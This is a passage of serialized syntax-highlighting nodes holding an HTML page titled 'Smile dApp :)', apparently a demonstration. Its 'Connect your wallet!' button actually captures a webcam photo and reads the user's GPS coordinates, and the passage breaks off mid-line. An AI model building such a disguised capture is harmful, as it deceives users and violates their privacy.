html",{"type":23,"tag":481,"props":154513,"children":154514},{"style":29891},[154515],{"type":28,"value":3469},{"type":23,"tag":481,"props":154517,"children":154518},{"class":483,"line":351},[154519,154523,154527],{"type":23,"tag":481,"props":154520,"children":154521},{"style":29891},[154522],{"type":28,"value":3282},{"type":23,"tag":481,"props":154524,"children":154525},{"style":497},[154526],{"type":28,"value":29898},{"type":23,"tag":481,"props":154528,"children":154529},{"style":29891},[154530],{"type":28,"value":3469},{"type":23,"tag":481,"props":154532,"children":154533},{"class":483,"line":531},[154534,154538,154543],{"type":23,"tag":481,"props":154535,"children":154536},{"style":29891},[154537],{"type":28,"value":3282},{"type":23,"tag":481,"props":154539,"children":154540},{"style":497},[154541],{"type":28,"value":154542},"head",{"type":23,"tag":481,"props":154544,"children":154545},{"style":29891},[154546],{"type":28,"value":3469},{"type":23,"tag":481,"props":154548,"children":154549},{"class":483,"line":567},[154550,154554,154559,154564,154568,154573],{"type":23,"tag":481,"props":154551,"children":154552},{"style":29891},[154553],{"type":28,"value":29961},{"type":23,"tag":481,"props":154555,"children":154556},{"style":497},[154557],{"type":28,"value":154558},"meta",{"type":23,"tag":481,"props":154560,"children":154561},{"style":508},[154562],{"type":28,"value":154563}," charset",{"type":23,"tag":481,"props":154565,"children":154566},{"style":525},[154567],{"type":28,"value":603},{"type":23,"tag":481,"props":154569,"children":154570},{"style":1805},[154571],{"type":28,"value":154572},"\"utf-8\"",{"type":23,"tag":481,"props":154574,"children":154575},{"style":29891},[154576],{"type":28,"value":3469},{"type":23,"tag":481,"props":154578,"children":154579},{"class":483,"line":678},[154580,154584,154588,154592,154596],{"type":23,"tag":481,"props":154581,"children":154582},{"style":29891},[154583],{"type":28,"value":29961},{"type":23,"tag":481,"props":154585,"children":154586},{"style":497},[154587],{"type":28,"value":31820},{"type":23,"tag":481,"props":154589,"children":154590},{"style":29891},[154591],{"type":28,"value":47591},{"type":23,"tag":481,"props":154593,"children":154594},{"style":497},[154595],{"type":28,"value":31820},{"type":23,"tag":481,"props":154597,"children":154598},{"style":29891},[154599],{"type":28,"value":3469},{"type":23,"tag":481,"props":154601,"children":154602},{"class":483,"line":784},[154603,154607,154611],{"type":23,"tag":481,"props":154604,"children":154605},{"style":29891},[154606],{"type":28,"value":29945},{"type":23,"tag":481,"props":154608,"children":154609},{"style":497},[154610],{"type":28,"value":154542},{"type":23,"tag":481,"props":154612,"children":154613},{"style":29891},[154614],{"type":28,"value":3469},{"type":23,"tag":481,"props":154616,"children":154617},{"class":483,"line":812},[154618,154622,154626],{"type":23,"tag":481,"props":154619,"children":154620},{"style":29891},[154621],{"type":28,"value":3282},{"type":23,"tag":481,"props":154623,"children":154624},{"style":497},[154625],{"type":28,"value":29915},{"type":23,"tag":481,"props":154627,"children":154628},{"style":29891},[154629],{"type":28,"value":3469},{"type":23,"tag":481,"props":154631,"children":154632},{"class":483,"line":825},[154633,154637,154641,154645,154650,154654,154658],{"type":23,"tag":481,"props":154634,"children":154635},{"style":29891},[154636],{"type":28,"value":29961},{"type":23,"tag":481,"props":154638,"children":154639},{"style":497},[154640],{"type":28,"value":31},{"type":23,"tag":481,"props":154642,"children":154643},{"style":29891},[154644],{"type":28,"value":7947},{"type":23,"tag":481,"props":154646,"children":154647},{"style":525},[154648],{"type":28,"value":154649},"Smile dApp :)",{"type":23,"tag":481,"props":154651,"children":154652},{"style":29891},[154653],{"type":28,"value":29945},{"type":23,"tag":481,"props":154655,"children":154656},{"style":497},[154657],{"type":28,"value":31},{"type":23,"tag":481,"props":154659,"children":154660},{"style":29891},[154661],{"type":28,"value":3469},{"type":23,"tag":481,"props":154663,"children":154664},{"class":483,"line":843},[154665,154669,154674,154678,154682,154687,154691,154696,154700,154704],{"type":23,"tag":481,"props":154666,"children":154667},{"style":29891},[154668],{"type":28,"value":29961},{"type":23,"tag":481,"props":154670,"children":154671},{"style":497},[154672],{"type":28,"value":154673},"button",{"type":23,"tag":481,"props":154675,"children":154676},{"style":508},[154677],{"type":28,"value":29971},{"type":23,"tag":481,"props":154679,"children":154680},{"style":525},[154681],{"type":28,"value":603},{"type":23,"tag":481,"props":154683,"children":154684},{"style":1805},[154685],{"type":28,"value":154686},"\"connect\"",{"type":23,"tag":481,"props":154688,"children":154689},{"style":29891},[154690],{"type":28,"value":7947},{"type":23,"tag":481,"props":154692,"children":154693},{"style":525},[154694],{"type":28,"value":154695},"Connect your wallet!",{"type":23,"tag":481,"props":154697,"children":154698},{"style":29891},[154699],{"type":28,"value":29945},{"type":23,"tag":481,"props":154701,"children":154702},{"style":497},[154703],{"type":28,"value":154673},{"type":23,"tag":481,"props":154705,"children":154706},{"style":29891},[154707],{"type":28,"value":3469},{"type":23,"tag":481,"props":154709,"children":154710},{"class":483,"line":864},[154711,154715,154719,154723,154727,154732,154736,154740],{"type":23,"tag":481,"props":154712,"children":154713},{"style":29891},[154714],{"type":28,"value":29961},{"type":23,"tag":481,"props":154716,"children":154717},{"style":497},[154718],{"type":28,"value":435},{"type":23,"tag":481,"props":154720,"children":154721},{"style":508},[154722],{"type":28,"value":29971},{"type":23,"tag":481,"props":154724,"children":154725},{"style":525},[154726],{"type":28,"value":603},{"type":23,"tag":481,"props":154728,"children":154729},{"style":1805},[154730],{"type":28,"value":154731},"\"gps\"",{"type":23,"tag":481,"props":154733,"children":154734},{"style":29891},[154735],{"type":28,"value":47591},{"type":23,"tag":481,"props":154737,"children":154738},{"style":497},[154739],{"type":28,"value":435},{"type":23,"tag":481,"props":154741,"children":154742},{"style":29891},[154743],{"type":28,"value":3469},{"type":23,"tag":481,"props":154745,"children":154746},{"class":483,"line":873},[154747,154751,154755,154759,154763,154768],{"type":23,"tag":481,"props":154748,"children":154749},{"style":29891},[154750],{"type":28,"value":29961},{"type":23,"tag":481,"props":154752,"children":154753},{"style":497},[154754],{"type":28,"value":149},{"type":23,"tag":481,"props":154756,"children":154757},{"style":508},[154758],{"type":28,"value":29971},{"type":23,"tag":481,"props":154760,"children":154761},{"style":525},[154762],{"type":28,"value":603},{"type":23,"tag":481,"props":154764,"children":154765},{"style":1805},[154766],{"type":28,"value":154767},"\"pic\"",{"type":23,"tag":481,"props":154769,"children":154770},{"style":29891},[154771],{"type":28,"value":3469},{"type":23,"tag":481,"props":154773,"children":154774},{"class":483,"line":1125},[154775,154779,154783],{"type":23,"tag":481,"props":154776,"children":154777},{"style":29891},[154778],{"type":28,"value":29961},{"type":23,"tag":481,"props":154780,"children":154781},{"style":497},[154782],{"type":28,"value":29931},{"type":23,"tag":481,"props":154784,"children":154785},{"style":29891},[154786],{"type":28,"value":3469},{"type":23,"tag":481,"props":154788,"children":154789},{"class":483,"line":1142},[154790,154795,154799,154804,154808,154813,154817,154821,154825,154829],{"type":23,"tag":481,"props":154791,"children":154792},{"style":508},[154793],{"type":28,"value":154794}," window",{"type":23,"tag":481,"props":154796,"children":154797},{"style":514},[154798],{"type":28,"value":199},{"type":23,"tag":481,"props":154800,"children":154801},{"style":610},[154802],{"type":28,"value":154803},"addEventListener",{"type":23,"tag":481,"props":154805,"children":154806},{"style":514},[154807],{"type":28,"value":618},{"type":23,"tag":481,"props":154809,"children":154810},{"style":1805},[154811],{"type":28,"value":154812},"'unhandledrejection'",{"type":23,"tag":481,"props":154814,"children":154815},{"style":514},[154816],{"type":28,"value":588},{"type":23,"tag":481,"props":154818,"children":154819},{"style":497},[154820],{"type":28,"value":28892},{"type":23,"tag":481,"props":154822,"children":154823},{"style":514},[154824],{"type":28,"value":578},{"type":23,"tag":481,"props":154826,"children":154827},{"style":508},[154828],{"type":28,"value":79660},{"type":23,"tag":481,"props":154830,"children":154831},{"style":514},[154832],{"type":28,"value":12292},{"type":23,"tag":481,"props":154834,"children":154835},{"class":483,"line":1159},[154836,154841,154845,154850,154854,154858,154862,154867,154871,154875],{"type":23,"tag":481,"props":154837,"children":154838},{"style":610},[154839],{"type":28,"value":154840}," alert",{"type":23,"tag":481,"props":154842,"children":154843},{"style":514},[154844],{"type":28,"value":618},{"type":23,"tag":481,"props":154846,"children":154847},{"style":1805},[154848],{"type":28,"value":154849},"`Unhandled Promise Rejection: ",{"type":23,"tag":481,"props":154851,"children":154852},{"style":497},[154853],{"type":28,"value":31625},{"type":23,"tag":481,"props":154855,"children":154856},{"style":508},[154857],{"type":28,"value":79660},{"type":23,"tag":481,"props":154859,"children":154860},{"style":514},[154861],{"type":28,"value":199},{"type":23,"tag":481,"props":154863,"children":154864},{"style":508},[154865],{"type":28,"value":154866},"reason",{"type":23,"tag":481,"props":154868,"children":154869},{"style":497},[154870],{"type":28,"value":31657},{"type":23,"tag":481,"props":154872,"children":154873},{"style":1805},[154874],{"type":28,"value":7867},{"type":23,"tag":481,"props":154876,"children":154877},{"style":514},[154878],{"type":28,"value":1366},{"type":23,"tag":481,"props":154880,"children":154881},{"class":483,"line":1172},[154882],{"type":23,"tag":481,"props":154883,"children":154884},{"style":514},[154885],{"type":28,"value":154886}," });\n",{"type":23,"tag":481,"props":154888,"children":154889},{"class":483,"line":1181},[154890,154894,154898,154902,154906,154910,154914,154918,154922,154926,154930,154934,154938,154943,154947,154951],{"type":23,"tag":481,"props":154891,"children":154892},{"style":508},[154893],{"type":28,"value":154794},{"type":23,"tag":481,"props":154895,"children":154896},{"style":514},[154897],{"type":28,"value":199},{"type":23,"tag":481,"props":154899,"children":154900},{"style":610},[154901],{"type":28,"value":30204},{"type":23,"tag":481,"props":154903,"children":154904},{"style":514},[154905],{"type":28,"value":30427},{"type":23,"tag":481,"props":154907,"children":154908},{"style":497},[154909],{"type":28,"value":28892},{"type":23,"tag":481,"props":154911,"children":154912},{"style":514},[154913],{"type":28,"value":578},{"type":23,"tag":481,"props":154915,"children":154916},{"style":508},[154917],{"type":28,"value":55473},{"type":23,"tag":481,"props":154919,"children":154920},{"style":514},[154921],{"type":28,"value":588},{"type":23,"tag":481,"props":154923,"children":154924},{"style":508},[154925],{"type":28,"value":67907},{"type":23,"tag":481,"props":154927,"children":154928},{"style":514},[154929],{"type":28,"value":588},{"type":23,"tag":481,"props":154931,"children":154932},{"style":508},[154933],{"type":28,"value":483},{"type":23,"tag":481,"props":154935,"children":154936},{"style":514},[154937],{"type":28,"value":588},{"type":23,"tag":481,"props":154939,"children":154940},{"style":508},[154941],{"type":28,"value":154942},"col",{"type":23,"tag":481,"props":154944,"children":154945},{"style":514},[154946],{"type":28,"value":588},{"type":23,"tag":481,"props":154948,"children":154949},{"style":508},[154950],{"type":28,"value":12352},{"type":23,"tag":481,"props":154952,"children":154953},{"style":514},[154954],{"type":28,"value":12292},{"type":23,"tag":481,"props":154956,"children":154957},{"class":483,"line":1204},[154958,154962,154966,154971,154975,154979],{"type":23,"tag":481,"props":154959,"children":154960},{"style":610},[154961],{"type":28,"value":154840},{"type":23,"tag":481,"props":154963,"children":154964},{"style":514},[154965],{"type":28,"value":618},{"type":23,"tag":481,"props":154967,"children":154968},{"style":1805},[154969],{"type":28,"value":154970},"'onerror: '",{"type":23,"tag":481,"props":154972,"children":154973},{"style":514},[154974],{"type":28,"value":32213},{"type":23,"tag":481,"props":154976,"children":154977},{"style":508},[154978],{"type":28,"value":55473},{"type":23,"tag":481,"props":154980,"children":154981},{"style":514},[154982],{"type":28,"value":1366},{"type":23,"tag":481,"props":154984,"children":154985},{"class":483,"line":1213},[154986,154990,154994],{"type":23,"tag":481,"props":154987,"children":154988},{"style":535},[154989],{"type":28,"value":76608},{"type":23,"tag":481,"props":154991,"children":154992},{"style":497},[154993],{"type":28,"value":6539},{"type":23,"tag":481,"props":154995,"children":154996},{"style":514},[154997],{"type":28,"value":528},{"type":23,"tag":481,"props":154999,"children":155000},{"class":483,"line":1222},[155001],{"type":23,"tag":481,"props":155002,"children":155003},{"style":514},[155004],{"type":28,"value":155005}," };\n",{"type":23,"tag":481,"props":155007,"children":155008},{"class":483,"line":1291},[155009],{"type":23,"tag":481,"props":155010,"children":155011},{"emptyLinePlaceholder":15},[155012],{"type":28,"value":1210},{"type":23,"tag":481,"props":155014,"children":155015},{"class":483,"line":1299},[155016,155021,155025,155029],{"type":23,"tag":481,"props":155017,"children":155018},{"style":497},[155019],{"type":28,"value":155020}," async",{"type":23,"tag":481,"props":155022,"children":155023},{"style":497},[155024],{"type":28,"value":35732},{"type":23,"tag":481,"props":155026,"children":155027},{"style":610},[155028],{"type":28,"value":88312},{"type":23,"tag":481,"props":155030,"children":155031},{"style":514},[155032],{"type":28,"value":13226},{"type":23,"tag":481,"props":155034,"children":155035},{"class":483,"line":1329},[155036,155040,155045,155049,155053,155058,155062,155067,155071,155076,155080,155085,155089],{"type":23,"tag":481,"props":155037,"children":155038},{"style":497},[155039],{"type":28,"value":148566},{"type":23,"tag":481,"props":155041,"children":155042},{"style":508},[155043],{"type":28,"value":155044}," stream",{"type":23,"tag":481,"props":155046,"children":155047},{"style":514},[155048],{"type":28,"value":30427},{"type":23,"tag":481,"props":155050,"children":155051},{"style":535},[155052],{"type":28,"value":30432},{"type":23,"tag":481,"props":155054,"children":155055},{"style":508},[155056],{"type":28,"value":155057}," navigator",{"type":23,"tag":481,"props":155059,"children":155060},{"style":514},[155061],{"type":28,"value":199},{"type":23,"tag":481,"props":155063,"children":155064},{"style":508},[155065],{"type":28,"value":155066},"mediaDevices",{"type":23,"tag":481,"props":155068,"children":155069},{"style":514},[155070],{"type":28,"value":199},{"type":23,"tag":481,"props":155072,"children":155073},{"style":610},[155074],{"type":28,"value":155075},"getUserMedia",{"type":23,"tag":481,"props":155077,"children":155078},{"style":514},[155079],{"type":28,"value":29013},{"type":23,"tag":481,"props":155081,"children":155082},{"style":508},[155083],{"type":28,"value":155084},"video:",{"type":23,"tag":481,"props":155086,"children":155087},{"style":497},[155088],{"type":28,"value":9956},{"type":23,"tag":481,"props":155090,"children":155091},{"style":514},[155092],{"type":28,"value":36353},{"type":23,"tag":481,"props":155094,"children":155095},{"class":483,"line":1337},[155096,155100,155105,155109,155113,155117,155121,155125,155130],{"type":23,"tag":481,"props":155097,"children":155098},{"style":497},[155099],{"type":28,"value":148566},{"type":23,"tag":481,"props":155101,"children":155102},{"style":508},[155103],{"type":28,"value":155104}," video",{"type":23,"tag":481,"props":155106,"children":155107},{"style":514},[155108],{"type":28,"value":30427},{"type":23,"tag":481,"props":155110,"children":155111},{"style":508},[155112],{"type":28,"value":30223},{"type":23,"tag":481,"props":155114,"children":155115},{"style":514},[155116],{"type":28,"value":199},{"type":23,"tag":481,"props":155118,"children":155119},{"style":610},[155120],{"type":28,"value":34239},{"type":23,"tag":481,"props":155122,"children":155123},{"style":514},[155124],{"type":28,"value":618},{"type":23,"tag":481,"props":155126,"children":155127},{"style":1805},[155128],{"type":28,"value":155129},"\"video\"",{"type":23,"tag":481,"props":155131,"children":155132},{"style":514},[155133],{"type":28,"value":1366},{"type":23,"tag":481,"props":155135,"children":155136},{"class":483,"line":1369},[155137,155142,155146,155151,155155,155159],{"type":23,"tag":481,"props":155138,"children":155139},{"style":508},[155140],{"type":28,"value":155141}," video",{"type":23,"tag":481,"props":155143,"children":155144},{"style":514},[155145],{"type":28,"value":199},{"type":23,"tag":481,"props":155147,"children":155148},{"style":508},[155149],{"type":28,"value":155150},"srcObject",{"type":23,"tag":481,"props":155152,"children":155153},{"style":514},[155154],{"type":28,"value":30427},{"type":23,"tag":481,"props":155156,"children":155157},{"style":508},[155158],{"type":28,"value":33779},{"type":23,"tag":481,"props":155160,"children":155161},{"style":514},[155162],{"type":28,"value":528},{"type":23,"tag":481,"props":155164,"children":155165},{"class":483,"line":1377},[155166,155170,155175,155179,155183,155187,155191,155195,155200],{"type":23,"tag":481,"props":155167,"children":155168},{"style":497},[155169],{"type":28,"value":148566},{"type":23,"tag":481,"props":155171,"children":155172},{"style":508},[155173],{"type":28,"value":155174}," canvas",{"type":23,"tag":481,"props":155176,"children":155177},{"style":514},[155178],{"type":28,"value":30427},{"type":23,"tag":481,"props":155180,"children":155181},{"style":508},[155182],{"type":28,"value":30223},{"type":23,"tag":481,"props":155184,"children":155185},{"style":514},[155186],{"type":28,"value":199},{"type":23,"tag":481,"props":155188,"children":155189},{"style":610},[155190],{"type":28,"value":34239},{"type":23,"tag":481,"props":155192,"children":155193},{"style":514},[155194],{"type":28,"value":618},{"type":23,"tag":481,"props":155196,"children":155197},{"style":1805},[155198],{"type":28,"value":155199},"\"canvas\"",{"type":23,"tag":481,"props":155201,"children":155202},{"style":514},[155203],{"type":28,"value":1366},{"type":23,"tag":481,"props":155205,"children":155206},{"class":483,"line":1437},[155207],{"type":23,"tag":481,"props":155208,"children":155209},{"emptyLinePlaceholder":15},[155210],{"type":28,"value":1210},{"type":23,"tag":481,"props":155212,"children":155213},{"class":483,"line":6528},[155214,155218,155222,155227,155232,155236],{"type":23,"tag":481,"props":155215,"children":155216},{"style":508},[155217],{"type":28,"value":155141},{"type":23,"tag":481,"props":155219,"children":155220},{"style":514},[155221],{"type":28,"value":199},{"type":23,"tag":481,"props":155223,"children":155224},{"style":610},[155225],{"type":28,"value":155226},"onloadedmetadata",{"type":23,"tag":481,"props":155228,"children":155229},{"style":514},[155230],{"type":28,"value":155231}," = () ",{"type":23,"tag":481,"props":155233,"children":155234},{"style":497},[155235],{"type":28,"value":12310},{"type":23,"tag":481,"props":155237,"children":155238},{"style":514},[155239],{"type":28,"value":809},{"type":23,"tag":481,"props":155241,"children":155242},{"class":483,"line":6546},[155243,155248,155252,155257,155261,155265,155269,155274],{"type":23,"tag":481,"props":155244,"children":155245},{"style":508},[155246],{"type":28,"value":155247}," canvas",{"type":23,"tag":481,"props":155249,"children":155250},{"style":514},[155251],{"type":28,"value":199},{"type":23,"tag":481,"props":155253,"children":155254},{"style":508},[155255],{"type":28,"value":155256},"width",{"type":23,"tag":481,"props":155258,"children":155259},{"style":514},[155260],{"type":28,"value":30427},{"type":23,"tag":481,"props":155262,"children":155263},{"style":508},[155264],{"type":28,"value":129390},{"type":23,"tag":481,"props":155266,"children":155267},{"style":514},[155268],{"type":28,"value":199},{"type":23,"tag":481,"props":155270,"children":155271},{"style":508},[155272],{"type":28,"value":155273},"videoWidth",{"type":23,"tag":481,"props":155275,"children":155276},{"style":514},[155277],{"type":28,"value":528},{"type":23,"tag":481,"props":155279,"children":155280},{"class":483,"line":6591},[155281,155285,155289,155294,155298,155302,155306,155311],{"type":23,"tag":481,"props":155282,"children":155283},{"style":508},[155284],{"type":28,"value":155247},{"type":23,"tag":481,"props":155286,"children":155287},{"style":514},[155288],{"type":28,"value":199},{"type":23,"tag":481,"props":155290,"children":155291},{"style":508},[155292],{"type":28,"value":155293},"height",{"type":23,"tag":481,"props":155295,"children":155296},{"style":514},[155297],{"type":28,"value":30427},{"type":23,"tag":481,"props":155299,"children":155300},{"style":508},[155301],{"type":28,"value":129390},{"type":23,"tag":481,"props":155303,"children":155304},{"style":514},[155305],{"type":28,"value":199},{"type":23,"tag":481,"props":155307,"children":155308},{"style":508},[155309],{"type":28,"value":155310},"videoHeight",{"type":23,"tag":481,"props":155312,"children":155313},{"style":514},[155314],{"type":28,"value":528},{"type":23,"tag":481,"props":155316,"children":155317},{"class":483,"line":6697},[155318],{"type":23,"tag":481,"props":155319,"children":155320},{"style":514},[155321],{"type":28,"value":45599},{"type":23,"tag":481,"props":155323,"children":155324},{"class":483,"line":21008},[155325],{"type":23,"tag":481,"props":155326,"children":155327},{"emptyLinePlaceholder":15},[155328],{"type":28,"value":1210},{"type":23,"tag":481,"props":155330,"children":155331},{"class":483,"line":21043},[155332,155337,155341,155346,155350,155354,155358],{"type":23,"tag":481,"props":155333,"children":155334},{"style":508},[155335],{"type":28,"value":155336}," connect",{"type":23,"tag":481,"props":155338,"children":155339},{"style":514},[155340],{"type":28,"value":199},{"type":23,"tag":481,"props":155342,"children":155343},{"style":610},[155344],{"type":28,"value":155345},"onclick",{"type":23,"tag":481,"props":155347,"children":155348},{"style":514},[155349],{"type":28,"value":30427},{"type":23,"tag":481,"props":155351,"children":155352},{"style":508},[155353],{"type":28,"value":48980},{"type":23,"tag":481,"props":155355,"children":155356},{"style":497},[155357],{"type":28,"value":25264},{"type":23,"tag":481,"props":155359,"children":155360},{"style":514},[155361],{"type":28,"value":809},{"type":23,"tag":481,"props":155363,"children":155364},{"class":483,"line":21051},[155365,155370,155374,155379],{"type":23,"tag":481,"props":155366,"children":155367},{"style":508},[155368],{"type":28,"value":155369}," video",{"type":23,"tag":481,"props":155371,"children":155372},{"style":514},[155373],{"type":28,"value":199},{"type":23,"tag":481,"props":155375,"children":155376},{"style":610},[155377],{"type":28,"value":155378},"play",{"type":23,"tag":481,"props":155380,"children":155381},{"style":514},[155382],{"type":28,"value":1201},{"type":23,"tag":481,"props":155384,"children":155385},{"class":483,"line":21059},[155386],{"type":23,"tag":481,"props":155387,"children":155388},{"emptyLinePlaceholder":15},[155389],{"type":28,"value":1210},{"type":23,"tag":481,"props":155391,"children":155392},{"class":483,"line":21068},[155393,155397,155401,155406,155410,155415,155419,155424,155428,155432,155436,155440,155444,155448],{"type":23,"tag":481,"props":155394,"children":155395},{"style":508},[155396],{"type":28,"value":155247},{"type":23,"tag":481,"props":155398,"children":155399},{"style":514},[155400],{"type":28,"value":199},{"type":23,"tag":481,"props":155402,"children":155403},{"style":610},[155404],{"type":28,"value":155405},"getContext",{"type":23,"tag":481,"props":155407,"children":155408},{"style":514},[155409],{"type":28,"value":618},{"type":23,"tag":481,"props":155411,"children":155412},{"style":1805},[155413],{"type":28,"value":155414},"\"2d\"",{"type":23,"tag":481,"props":155416,"children":155417},{"style":514},[155418],{"type":28,"value":18240},{"type":23,"tag":481,"props":155420,"children":155421},{"style":610},[155422],{"type":28,"value":155423},"drawImage",{"type":23,"tag":481,"props":155425,"children":155426},{"style":514},[155427],{"type":28,"value":618},{"type":23,"tag":481,"props":155429,"children":155430},{"style":508},[155431],{"type":28,"value":129390},{"type":23,"tag":481,"props":155433,"children":155434},{"style":514},[155435],{"type":28,"value":588},{"type":23,"tag":481,"props":155437,"children":155438},{"style":551},[155439],{"type":28,"value":1568},{"type":23,"tag":481,"props":155441,"children":155442},{"style":514},[155443],{"type":28,"value":588},{"type":23,"tag":481,"props":155445,"children":155446},{"style":551},[155447],{"type":28,"value":1568},{"type":23,"tag":481,"props":155449,"children":155450},{"style":514},[155451],{"type":28,"value":1366},{"type":23,"tag":481,"props":155453,"children":155454},{"class":483,"line":21110},[155455,155460,155464,155469,155473,155478,155482,155486,155490,155495,155499,155504],{"type":23,"tag":481,"props":155456,"children":155457},{"style":508},[155458],{"type":28,"value":155459}," stream",{"type":23,"tag":481,"props":155461,"children":155462},{"style":514},[155463],{"type":28,"value":199},{"type":23,"tag":481,"props":155465,"children":155466},{"style":610},[155467],{"type":28,"value":155468},"getTracks",{"type":23,"tag":481,"props":155470,"children":155471},{"style":514},[155472],{"type":28,"value":27682},{"type":23,"tag":481,"props":155474,"children":155475},{"style":610},[155476],{"type":28,"value":155477},"forEach",{"type":23,"tag":481,"props":155479,"children":155480},{"style":514},[155481],{"type":28,"value":618},{"type":23,"tag":481,"props":155483,"children":155484},{"style":508},[155485],{"type":28,"value":19228},{"type":23,"tag":481,"props":155487,"children":155488},{"style":497},[155489],{"type":28,"value":25264},{"type":23,"tag":481,"props":155491,"children":155492},{"style":508},[155493],{"type":28,"value":155494}," t",{"type":23,"tag":481,"props":155496,"children":155497},{"style":514},[155498],{"type":28,"value":199},{"type":23,"tag":481,"props":155500,"children":155501},{"style":610},[155502],{"type":28,"value":155503},"stop",{"type":23,"tag":481,"props":155505,"children":155506},{"style":514},[155507],{"type":28,"value":12914},{"type":23,"tag":481,"props":155509,"children":155510},{"class":483,"line":21143},[155511,155515,155519,155524,155528,155532,155536,155540],{"type":23,"tag":481,"props":155512,"children":155513},{"style":508},[155514],{"type":28,"value":155247},{"type":23,"tag":481,"props":155516,"children":155517},{"style":514},[155518],{"type":28,"value":199},{"type":23,"tag":481,"props":155520,"children":155521},{"style":610},[155522],{"type":28,"value":155523},"toBlob",{"type":23,"tag":481,"props":155525,"children":155526},{"style":514},[155527],{"type":28,"value":29038},{"type":23,"tag":481,"props":155529,"children":155530},{"style":508},[155531],{"type":28,"value":30464},{"type":23,"tag":481,"props":155533,"children":155534},{"style":514},[155535],{"type":28,"value":598},{"type":23,"tag":481,"props":155537,"children":155538},{"style":497},[155539],{"type":28,"value":12310},{"type":23,"tag":481,"props":155541,"children":155542},{"style":514},[155543],{"type":28,"value":809},{"type":23,"tag":481,"props":155545,"children":155546},{"class":483,"line":21151},[155547,155552,155556,155560,155564,155569,155573,155578,155582,155586],{"type":23,"tag":481,"props":155548,"children":155549},{"style":508},[155550],{"type":28,"value":155551}," pic",{"type":23,"tag":481,"props":155553,"children":155554},{"style":514},[155555],{"type":28,"value":199},{"type":23,"tag":481,"props":155557,"children":155558},{"style":508},[155559],{"type":28,"value":30185},{"type":23,"tag":481,"props":155561,"children":155562},{"style":514},[155563],{"type":28,"value":30427},{"type":23,"tag":481,"props":155565,"children":155566},{"style":508},[155567],{"type":28,"value":155568},"URL",{"type":23,"tag":481,"props":155570,"children":155571},{"style":514},[155572],{"type":28,"value":199},{"type":23,"tag":481,"props":155574,"children":155575},{"style":610},[155576],{"type":28,"value":155577},"createObjectURL",{"type":23,"tag":481,"props":155579,"children":155580},{"style":514},[155581],{"type":28,"value":618},{"type":23,"tag":481,"props":155583,"children":155584},{"style":508},[155585],{"type":28,"value":30464},{"type":23,"tag":481,"props":155587,"children":155588},{"style":514},[155589],{"type":28,"value":1366},{"type":23,"tag":481,"props":155591,"children":155592},{"class":483,"line":21159},[155593],{"type":23,"tag":481,"props":155594,"children":155595},{"style":514},[155596],{"type":28,"value":155597}," });\n",{"type":23,"tag":481,"props":155599,"children":155600},{"class":483,"line":21168},[155601],{"type":23,"tag":481,"props":155602,"children":155603},{"emptyLinePlaceholder":15},[155604],{"type":28,"value":1210},{"type":23,"tag":481,"props":155606,"children":155607},{"class":483,"line":21244},[155608,155613,155617,155622,155626,155631,155635,155640,155644],{"type":23,"tag":481,"props":155609,"children":155610},{"style":508},[155611],{"type":28,"value":155612}," navigator",{"type":23,"tag":481,"props":155614,"children":155615},{"style":514},[155616],{"type":28,"value":199},{"type":23,"tag":481,"props":155618,"children":155619},{"style":508},[155620],{"type":28,"value":155621},"geolocation",{"type":23,"tag":481,"props":155623,"children":155624},{"style":514},[155625],{"type":28,"value":199},{"type":23,"tag":481,"props":155627,"children":155628},{"style":610},[155629],{"type":28,"value":155630},"getCurrentPosition",{"type":23,"tag":481,"props":155632,"children":155633},{"style":514},[155634],{"type":28,"value":618},{"type":23,"tag":481,"props":155636,"children":155637},{"style":508},[155638],{"type":28,"value":155639},"pos",{"type":23,"tag":481,"props":155641,"children":155642},{"style":497},[155643],{"type":28,"value":25264},{"type":23,"tag":481,"props":155645,"children":155646},{"style":514},[155647],{"type":28,"value":809},{"type":23,"tag":481,"props":155649,"children":155650},{"class":483,"line":21277},[155651,155656,155660,155664,155668,155672,155677],{"type":23,"tag":481,"props":155652,"children":155653},{"style":497},[155654],{"type":28,"value":155655}," const",{"type":23,"tag":481,"props":155657,"children":155658},{"style":508},[155659],{"type":28,"value":34963},{"type":23,"tag":481,"props":155661,"children":155662},{"style":514},[155663],{"type":28,"value":30427},{"type":23,"tag":481,"props":155665,"children":155666},{"style":508},[155667],{"type":28,"value":155639},{"type":23,"tag":481,"props":155669,"children":155670},{"style":514},[155671],{"type":28,"value":199},{"type":23,"tag":481,"props":155673,"children":155674},{"style":508},[155675],{"type":28,"value":155676},"coords",{"type":23,"tag":481,"props":155678,"children":155679},{"style":514},[155680],{"type":28,"value":528},{"type":23,"tag":481,"props":155682,"children":155683},{"class":483,"line":21285},[155684,155689,155693,155697,155701,155706,155710,155714,155718,155723,155727,155732,155736,155740,155744,155748,155752,155757,155761,155765,155769,155774,155778,155782,155786,155790,155794,155798,155802],{"type":23,"tag":481,"props":155685,"children":155686},{"style":508},[155687],{"type":28,"value":155688}," gps",{"type":23,"tag":481,"props":155690,"children":155691},{"style":514},[155692],{"type":28,"value":199},{"type":23,"tag":481,"props":155694,"children":155695},{"style":508},[155696],{"type":28,"value":32481},{"type":23,"tag":481,"props":155698,"children":155699},{"style":514},[155700],{"type":28,"value":30427},{"type":23,"tag":481,"props":155702,"children":155703},{"style":1805},[155704],{"type":28,"value":155705},"`Lat: ",{"type":23,"tag":481,"props":155707,"children":155708},{"style":497},[155709],{"type":28,"value":31625},{"type":23,"tag":481,"props":155711,"children":155712},{"style":508},[155713],{"type":28,"value":661},{"type":23,"tag":481,"props":155715,"children":155716},{"style":514},[155717],{"type":28,"value":199},{"type":23,"tag":481,"props":155719,"children":155720},{"style":508},[155721],{"type":28,"value":155722},"latitude",{"type":23,"tag":481,"props":155724,"children":155725},{"style":514},[155726],{"type":28,"value":199},{"type":23,"tag":481,"props":155728,"children":155729},{"style":610},[155730],{"type":28,"value":155731},"toFixed",{"type":23,"tag":481,"props":155733,"children":155734},{"style":514},[155735],{"type":28,"value":618},{"type":23,"tag":481,"props":155737,"children":155738},{"style":551},[155739],{"type":28,"value":1558},{"type":23,"tag":481,"props":155741,"children":155742},{"style":514},[155743],{"type":28,"value":642},{"type":23,"tag":481,"props":155745,"children":155746},{"style":497},[155747],{"type":28,"value":31657},{"type":23,"tag":481,"props":155749,"children":155750},{"style":45898},[155751],{"type":28,"value":45901},{"type":23,"tag":481,"props":155753,"children":155754},{"style":1805},[155755],{"type":28,"value":155756},"Lon: 